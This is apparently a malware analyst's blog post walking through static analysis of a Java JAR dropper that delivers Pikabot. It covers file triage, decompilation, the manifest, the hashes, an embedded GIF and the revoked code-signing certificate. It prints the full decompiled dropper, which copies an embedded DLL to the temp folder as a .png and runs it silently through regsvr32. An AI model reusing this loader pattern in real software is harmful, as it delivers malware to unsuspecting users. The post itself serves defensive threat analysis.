Post

Dissecting a Java Pikabot Dropper

Evil Pikachu

In mid-February, TA577 experimented with a Java Archive (JAR) dropper to deliver Pikabot to their victims. In this post I’ll explore some static analysis of that dropper to show how we can get information from it. If you want to follow along, I’m working with this sample in MalwareBazaar: https://bazaar.abuse.ch/sample/0a0e0d2f9daa0bad25c3defd69a3a6d96a6ac5f325a369761807c06887d3bd9f/.

Triage the JAR

Our first stop is to make sure we do indeed have a JAR file. Oracle’s documentation about JAR files states…

… It’s a file format based on the popular ZIP file format and is used for aggregating many files into one. Although JAR can be used as a general archiving tool, the primary motivation for its development was so that Java applets and their requisite components (.class files, images and sounds) can be downloaded to a browser in a single HTTP transaction, rather than opening a new connection for each piece…

For JAR files, we can expect them to appear similar ZIP archives, and they’ll likely hold multiple files within. With this expectation, we can use the file tool and 7zip to identify the file and see if it holds contents.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ file VOLUPTASYK.jar 
VOLUPTASYK.jar: Zip archive data, at least v2.0 to extract

$ 7z l VOLUPTASYK.jar 

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz (806EA),ASM,AES-NI)

Scanning the drive for archives:
1 file, 337512 bytes (330 KiB)

Listing archive: VOLUPTASYK.jar

--
Path = VOLUPTASYK.jar
Type = zip
Physical Size = 337512

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2024-02-14 12:08:02 .....          336          252  META-INF/MANIFEST.MF
2024-02-14 12:08:02 .....          465          332  META-INF/CERT.SF
2024-02-14 12:08:02 .....         9540         6927  META-INF/CERT.RSA
2024-02-14 14:29:12 D....            0            2  META-INF
2024-02-14 14:29:14 .....         1513          835  kzFRaQVe.class
2024-02-14 14:29:14 .....        10943        10948  x2NqLdqv.gif
2024-02-14 14:29:14 .....       487424       317354  317631
------------------- ----- ------------ ------------  ------------------------
2024-02-14 14:29:14             510221       336650  6 files, 1 folders

The output from file shows we have something resembling a ZIP file based on file magic bytes, and 7zip shows a file listing inside that is consistent with what I expect for a JAR. The META-INF folder is well-documented by Oracle as part of the JAR specification. Here, it appears the files within the JAR were compressed sometime on 2024-02-14.

A couple of files in the listing are potentially interesting to us:

  • kzFRaQVe.class (A Java class bytecode file)
  • CERT.RSA (A file containing a code-signing signature)

Now that we know we definitely have a JAR file, we can give decompilation a shot.

Decompiling the Dropper JAR

In the JAR file listing in 7zip, there is one particular file that contains Java code, kzFRaQVe.class. Java class files contain bytecode that can be fairly easily decompiled similarly to .NET Framework code. One of my favorite tools to do so is with cfr. This tool is included with REMnux, so it’s easy to try. The tool supports decompiling directly from JAR files, and we can do so here.

1
2
3
4
5
6
7
8
9
10
$ mkdir decompiled

$ cfr VOLUPTASYK.jar --outputdir ./decompiled/
Processing VOLUPTASYK.jar (use silent to silence)
Processing kzFRaQVe

$ cd decompiled/

$ ls
kzFRaQVe.java  summary.txt

Now we successfully have some decompiled Java code! Let’s open it up and take a look.

Static Java Code Analysis

The entirety of the Java code is 21 lines, so it’s very brief.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/*
 * Decompiled with CFR 0.149.
 */
import java.io.File;
import java.io.InputStream;
import java.nio.file.CopyOption;
import java.nio.file.Files;

public class kzFRaQVe {
    public static void main(String[] arrstring) {
        try {
            File file = new File(System.getProperty("java.io.tmpdir") + "\\317631.png");
            if (!file.exists()) {
                InputStream inputStream = kzFRaQVe.class.getResourceAsStream("317631");
                Files.copy(inputStream, file.getAbsoluteFile().toPath(), new CopyOption[0]);
            }
            Thread.sleep(1000L);
            Runtime.getRuntime().exec("regsvr32 /s " + System.getProperty("java.io.tmpdir") + "\\317631.png");
        }
        catch (Exception exception) {
            System.out.println("Error!");
        }
    }
}

The code has a main() function, and it’s the only Java class in the JAR, so it’s a fair bet that this code is the entry point called when a victim opens the JAR. When it executes, it performs a few actions:

  • Creates a file at %TEMP%\317631.png (example C:\Users\admin\AppData\Local\Temp\317631.png)
  • Searches for a file in the JAR named 317631 and opens it using getResourceAsStream
  • Copies the bytes from that file into 317631.png
  • Sleeps for 1000 milliseconds (1 second)
  • Executes the 317631.png using regsvr32.exe, which indicates the PNG file is likely really a DLL

They were even nice enough to include exception handling!

Before we leave code analysis, it would be nice to confirm that kzFRaQVe.class/.java is the entry point for the JAR when clicked. We can confirm that by extracting META-INF/MANIFEST.MF from the JAR and inspecting it.

1
2
3
4
5
6
7
8
9
10
11
12
13
$ cat META-INF/MANIFEST.MF 
Manifest-Version: 1.0
Main-Class: kzFRaQVe
Created-By: 17.0.6 (Oracle Corporation)

Name: kzFRaQVe.class
SHA-256-Digest: VX9uwaDheJmHPaZm1HL+wExnnhepBZ/o8hXG2E+trV8=

Name: x2NqLdqv.gif
SHA-256-Digest: S+ncC/R68x+y08cCuH/N988wJcudS+t5Fqshm3wprnI=

Name: 317631
SHA-256-Digest: qrnj0/kj98F2lN8705WuoREvh+Y1gMF2JXnEMFbTsto=

The Main-Class entry in the manifest confirms that the JAR will execute the code in kzFRaQVe.class when clicked.

From here, we have three leads to check into: examining the 317631 file, examining the x2NqLdqv.gif file in the JAR, and examining the signature META-INF/CERT.RSA.

Examining the Pikabot DLL

We can extract 317631 file and see if it is a DLL by using file and diec.

1
2
3
4
5
6
7
8
$ file 317631 
317631: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

$ diec 317631 
PE32
    Compiler: Microsoft Visual C/C++(19.29.30151)[LTCG/C++]
    Linker: Microsoft Linker(14.29.30151)
    Tool: Visual Studio(2019 version 16.11)

We definitely have a C/C++ DLL for Windows posing as that PNG file, so from here I assume the DLL is some form of loader designed to deliver the next stage of Pikabot. If I use my triage YARA rule to generate all the hashes for me, I can use them to search in VirusTotal or other tools for more details.

1
2
3
4
5
6
7
8
$ yara ~/yara/triage.yar 317631 
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Mimetype:	application/x-dosexec
MD5:	    f32839de7b3209090778a9a4c5e14cce
SHA-1:	    ca33599617a5de46cb3e726d66eee9d48e5a78af
SHA-256:	aab9e3d3f923f7c17694df3bd395aea1112f87e63580c1762579c43056d3b2da
Imphash:	370ebde54530b2016d14ffc9556403dc
Rich Header Hash:	af6787be711f295a744c1832921c9ab2

Based on some reporting from Elastic on Pikabot, I’d rather use a sandbox on this sample than perform static analysis. You can see the sandbox reports for this sample by visiting its MalwareBazaar page at the beginning of the post.

Examining the GIF File

The x2NqLdqv.gif file in the JAR stands out to me as a possible way for the adversary to include some legitimate content to inflate the size of the JAR or a way to include extra data. Let’s see if it’s really a GIF.

1
2
3
4
5
6
$ file x2NqLdqv.gif 
x2NqLdqv.gif: GIF image data, version 87a, 899 x 637

$ diec x2NqLdqv.gif 
Binary
    Image: GIF(87a)[899x637,4bpp]

The file appears to have GIF magic bytes, and we can do a cursory look to see if it might include any encrypted content or embedded files. For encryption, we can measure file entropy. For embedded files, we can use the binwalk command.

1
2
3
4
5
6
7
8
9
$ diec --entropy x2NqLdqv.gif 
Total 7.96511: packed
  0||0|10943|7.96511: packed

$ binwalk x2NqLdqv.gif 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             GIF image data, version "87a", 899 x 637

The entropy is 7.96511, so there is a slight possibility that encrypted data could be within the file, but we also didn’t find any references to the file in the decompiled Java code. The binwalk command didn’t find recognizable files embedded within the GIF file, so that trail ends. I’m inclined to think that the adversary included this file in the JAR as a way to slightly increase the JAR size or to increase the overall entropy of the JAR. Since the Java code didn’t reference the GIF, the only way the Pikabot loader could use it would be to reach back and decompress it from the JAR. That path seems unlikely as the loader usually stands alone.

Examining the Code Signing Signature

This JAR file is signed, and we can examine the signature by extracting the META-INF/CERT.RSA file and opening it with keytool. There are lots of certificate details included in the output, I’ve trimmed down the output for brevity here.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ keytool -printcert -file META-INF/CERT.RSA 

Certificate[1]:
Owner: CN=SSL.com EV Root Certification Authority RSA R2, O=SSL Corporation, L=Houston, ST=Texas, C=US
Issuer: CN=SSL.com EV Root Certification Authority RSA R2, O=SSL Corporation, L=Houston, ST=Texas, C=US
Serial number: 56b629cd34bc78f6
Valid from: Wed May 31 18:14:37 UTC 2017 until: Fri May 30 18:14:37 UTC 2042
Certificate fingerprints:
	 SHA1: 74:3A:F0:52:9B:D0:32:A0:F4:4A:83:CD:D4:BA:A9:7B:7C:2E:C4:9A
	 SHA256: 2E:7B:F1:6C:C2:24:85:A7:BB:E2:AA:86:96:75:07:61:B0:AE:39:BE:3B:2F:E9:D0:CC:6D:4E:F7:34:91:42:5C
Signature algorithm name: SHA256withRSA
Subject Public Key Algorithm: 4096-bit RSA key
Version: 3

...

Certificate[2]:
Owner: OID.1.3.6.1.4.1.311.60.2.1.3=DK, OID.2.5.4.15=Private Organization, CN=Talk Invest ApS, SERIALNUMBER=40777555, O=Talk Invest ApS, L=Tommerup, ST=Region of Southern Denmark, C=DK
Issuer: CN=SSL.com EV Code Signing Intermediate CA RSA R3, O=SSL Corp, L=Houston, ST=Texas, C=US
Serial number: 79695808028c2494541535419610a4e0
Valid from: Fri Jan 19 13:11:25 UTC 2024 until: Sat Jan 18 13:11:25 UTC 2025
Certificate fingerprints:
	 SHA1: 7B:75:39:4F:F0:21:97:A2:1E:6F:68:3A:71:7C:B5:A9:4C:7C:3D:AE
	 SHA256: AE:D1:0C:EE:78:C2:D2:72:6E:CC:B7:3D:9C:24:8F:53:F8:71:85:49:25:18:BD:D0:2C:6D:E9:4B:40:87:36:7D
Signature algorithm name: SHA256withRSA
Subject Public Key Algorithm: 3072-bit RSA key
Version: 3

...

The keytool utility shows the signing certificate was issued to Talk Invest ApS with serial 79695808028c2494541535419610a4e0 by SSL.com. This certificate has already been revoked by the issuer, but if it had not already been revoked we could report these details to SSL.com’s abuse support for revocation by showing the certificate was used to sign malware.

That’s all the data we can squeeze out of this dropper, thanks for reading!

This post is licensed under CC BY 4.0 by the author.